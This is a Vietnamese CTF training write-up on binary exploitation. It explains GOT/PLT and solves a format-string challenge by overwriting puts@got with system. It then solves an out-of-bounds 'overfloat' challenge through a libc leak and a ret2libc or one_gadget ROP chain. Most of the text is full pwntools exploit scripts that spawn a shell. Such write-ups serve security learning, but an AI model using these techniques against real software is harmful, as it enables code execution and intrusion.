# Training KCSC 2024
## Task2
### Khái niệm GOT và PLT
- **GOT** (Global Offset Table) là nơi lưu trữ các hàm và các biến của thư viện.
- **PLT** (Procedure Linkage Table) là nơi chứa các mã lệnh để liên kết với các hàm trong thư viện.
- Ví dụ khi hàm `printf` được gọi lần đầu tiên, bởi vì địa chỉ của hàm `printf` chưa có trong **GOT**, chương trình sẽ gọi một mục trong **PLT** tương ứng với hàm `printf`. Lúc này, mục đó sẽ gọi đến một đoạn mã để phân giải địa chỉ thực sự của `pritnf`. Sau khi phân giải, chương trình sẽ cập nhập địa chỉ đó vào một mục ở trong GOT. Từ đó, nếu trong các lần sau ta gọi `printf`, thay vì gọi trong **PLT**, chương trình sẽ lấy thẳng địa chỉ vừa phân giải trong **GOT**.
### Format string
- Check qua ida:

- Ta thấy ngay lỗi format string ở hàm `prinf`. Bởi vì bài này không có hàm win cũng như điều kiện gì đó để thực thi shellcode, ta phair tự tạo shellcode bằng cách tấn công `GOT`.
- Ở hàm `printf` bị lỗi format string, nếu ta **overwrite** hàm `puts.got` thành `system`, thì ở lần nhập thứ 2 nếu ta nhập vào chuỗi `/bin/sh`, tiếp theo hàm `puts` sẽ biến thành `system` và ta sẽ có shellcode.
- Như đã nói ở trên, trong một chương trình sẽ có `GOT` và `PLT`. Lần đầu tiên hàm nào đó được gọi, chương trình sẽ dùng một địa chỉ để gọi một hàm trong `PLT` từ đó gọi đến địa chỉ thực sự của hàm đó. Trong bài này, nếu ta overwite địa chỉ đó của hàm `puts` thành hàm `system`, khi lần đầu tiên hàm puts được gọi, hàm được gọi sẽ biến thành `system`, từ đó ta đạt được mục đích.
- Sử dụng lệnh `got` trong gdb để tìm địa chỉ của hàm `puts` và `system`:

- Ta có thể thấy giữa hai địa chỉ chỉ khác nhau 1 byte cuối. Vì vậy ta có thể dễ dàng overwrite byte cuối bằng cách sử dụng `%hhn`.
- Thử viết một script exploit thử:
```python!
from pwn import *
context.binary = exe = ELF('./main', checksec=False)
p=process(exe.path)
gdb.attach(p, gdbscript='''
b*0x000000000040122f
c
''')
payload = f'%{0x40}c%6$aaa'.encode()
payload += p64(exe.got['puts'])
p.sendlineafter(b'Give me fmt: ',payload)
p.interactive()
```
- Trong payload ta sẽ sử dụng `f` cho dễ. Phần `0x40` là do ta cần ghi đè byte cuối của `puts` từ `30` thành `40`. Dùng `aaa` mà không phải là `hhn` là bởi vì ta đang DEBUG xem chương trình đang hoạt động ra sao. Bởi vì nếu dùng luôn `hhn` thì khả năng cao chương trình sẽ bị lỗi và thoát ra luôn khiến ta không DEBUG được:

- Lúc này ta thấy trên **stack** địa chỉ đầu tiên đúng rồi. Nhưng ở cái thứ 2 ta thấy địa chỉ của hàm `puts` không chính xác. Điều này là do ở phần đầu của payload ta chưa điền đủ 16 byte. Để khắc phục thì ta chỉ cần thêm 5 byte sau ở nửa đầu payload. Viết luôn một script hoàn thiện để xem đã thành công hay chưa:
```python
from pwn import *
context.binary = exe = ELF('./main', checksec=False)
p=process(exe.path)
gdb.attach(p, gdbscript='''
b*0x000000000040122f
c
''')
payload = f'%{0x40}c%8$aaa'.encode()
payload += b'aaaaaa'
payload += p64(exe.got['puts'])
p.sendlineafter(b'Give me fmt: ',payload)
p.interactive()
```
- Chạy thử xem có shell chưa:

- Success!!!
### Out-of-bounds
- Decompile file thử:


- Check qua thì thấy hàm `memset` set cho `s` 40 byte. Hàm `chart_course` với vòng lặp **for** vô hạn giúp ta nhập vào **LAT** và **LON**. Nếu ta chỉ nhập **LAT** mà không nhập **LON**, chương trình sẽ yêu cầu ta nhập **LON** vào. Sau khi **LON** hoặc **LAT** được nhập vào, nó sẽ được lưu trữ ở vị trí `a1 + i *4`. Vấn đề là `s` (ở trong hàm `chart_course` là `a1`) chỉ được set 48 byte. Điều này sẽ làm chương trình có lỗi `out-of-bounds` nếu ta nhập đến **LAT** thứ 6. Bởi vì `s` chỉ được khai báo 48 byte, mỗi lần lưu tọa độ, nó sẽ chiếm 4 byte không gian. Điều này khiến chương trình gặp lỗi, với `s` 48 byte, **rbp** 8 byte, sau đó nếu ta nhập vào sẽ có thể overwrite **rip**.
- Bởi vì **ASLR** được bật, libc base của chương trình sẽ thay đổi mỗi lần chạy. Vậy hướng đi của bài này là: leak libc base sử dụng **puts@got**, call **system** và **/bin/sh** (hoặc là **one_gadget**).
- Ở đây có hàm **atof**, nôm na là nó sẽ xử lí chuỗi nhập vào đến khi gặp kí tự không hợp lệ hoặc dấu cách để trả về **float**. Vậy với payload như bình thường ta nhập vào sẽ không hoạt động. Vì vậy ta cần chuyển payload về dạng **float**
> Ở hàm `atof`, sau khi nhập vào payload dưới dạng **float**, khi đi vào chương trình sẽ được lưu trữ dưới dạng nhị phân. Giả sử ta nhập đúng vị trí để ghi đè `rip`, ta sẽ có thể khiến `rip` trỏ tới địa chỉ mà ta muốn.
- Bước 1: leak libc base
- Script python convert to float:
```py
import struct
hex_value = 0x00400661 #payload can convert
float_value = struct.unpack('f', struct.pack('I', hex_value))[0]
print(float_value)``
```
- Script leak libc:
```py
#!/usr/bin/env python3
from pwn import *
exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r, gdbscript='''
b*0x0000000000400a1f
c''')
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for i in range(14):
r.sendlineafter(b']: ',b'1.1')
r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'8.827731909737764e-39') #got
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.880906336647498e-39') #main
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'done')
r.recvuntil(b'VOYAGE!\n')
libc=u64(r.recv(6) + b'\0\0')
base = libc - 0x809c0
print(b'lib leak: ', hex(libc))
print(b'lib base: ', hex(base))
r.interactive()
if __name__ == "__main__":
main()
```
- Khi đã có libc base, ta chỉ cần ret2libc (bởi vì chương trình có time out nên ta phải tự động bằng script):
```py
#!/usr/bin/env python3
from pwn import *
exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r, gdbscript='''
b*0x0000000000400a1f
c''')
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for i in range(14):
r.sendlineafter(b']: ',b'1.1')
r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'8.827731909737764e-39') #got
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.880906336647498e-39') #main
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'done')
r.recvuntil(b'VOYAGE!\n')
libc=u64(r.recv(6) + b'\0\0')
base = libc - 0x809c0
print(b'lib leak: ', hex(libc))
print(b'lib base: ', hex(base))
binsh = base +0x1b3e9a
system = base + 0x4f440
print('binsh: ', hex(binsh))
def split_address(address):
# Lấy 32 bit thấp
part1 = address & 0xFFFFFFFF # Lấy 4 byte cuối
# Lấy 32 bit cao
part2 = (address >> 32) & 0xFFFFFFFF # Lấy 4 byte đầu
part1 = f"0x{part1:08x}" # Định dạng thành chuỗi có 8 ký tự hex
part2 = f"0x{part2:08x}" # Tương tự
return part1, part2
binsh_1, binsh_2 = split_address(binsh)
print('binsh1: ',binsh_1)
print('binsh2: ',binsh_2)
system_1, system_2 = split_address(system)
print('system1: ', system_1)
print('system2: ', system_2)
binsh_1_int = int(binsh_1, 16)
binsh_2_int = int(binsh_2, 16)
system_1_int = int(system_1, 16)
system_2_int = int(system_2, 16)
binsh1_float = struct.unpack('f', struct.pack('I', binsh_1_int))[0]
binsh2_float = struct.unpack('f', struct.pack('I', binsh_2_int))[0]
system1_float = struct.unpack('f', struct.pack('I', system_1_int))[0]
system2_float = struct.unpack('f', struct.pack('I', system_2_int))[0]
binsh1_float_str = str(binsh1_float).encode()
binsh2_float_str = str(binsh2_float).encode()
system1_float_str = str(system1_float).encode()
system2_float_str = str(system2_float).encode()
for i in range(14):
r.sendlineafter(b']: ',b'1.1')
r.sendlineafter(b']: ',b'5.87976007450368e-39') #ret
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',binsh1_float_str) #/bin/sh
r.sendlineafter(b']: ',binsh2_float_str)
r.sendlineafter(b']: ',system1_float_str) #system
r.sendlineafter(b']: ',system2_float_str)
r.interactive()
if __name__ == "__main__":
main()
```
- Hoặc ta có thể sử dụng `one_gadget`:
```py
#!/usr/bin/env python3
from pwn import *
exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for i in range(14):
r.sendlineafter(b']: ',b'1.1')
r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'8.827731909737764e-39') #got
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'5.880906336647498e-39') #main
r.sendlineafter(b']: ',b'')
r.sendlineafter(b']: ',b'done')
r.recvuntil(b'VOYAGE!\n')
libc=u64(r.recv(6) + b'\0\0')
base = libc - 0x809c0
def split_address(address):
# Lấy 32 bit thấp
part1 = address & 0xFFFFFFFF # Lấy 4 byte cuối
# Lấy 32 bit cao
part2 = (address >> 32) & 0xFFFFFFFF # Lấy 4 byte đầu
part1 = f"0x{part1:08x}" # Định dạng thành chuỗi có 8 ký tự hex
part2 = f"0x{part2:08x}" # Tương tự
return part1, part2
onegadget= base + 0x4f2c5
one_1, one_2 = split_address(onegadget)
one_1_int = int(one_1, 16)
one_2_int = int(one_2, 16)
one_1_float = struct.unpack('f', struct.pack('I', one_1_int))[0]
one_2_float = struct.unpack('f', struct.pack('I', one_2_int))[0]
one_1_float_str = str(one_1_float).encode()
one_2_float_str = str(one_2_float).encode()
for i in range(14):
r.sendlineafter(b']: ',b'1.1')
r.sendlineafter(b']: ',one_1_float_str) #ret
r.sendlineafter(b']: ',one_2_float_str)
r.sendlineafter(b']: ',b'done')
r.interactive()
if __name__ == "__main__":
main()
```
- Dù là cách nào thì ta cũng đều lấy được shell cả:
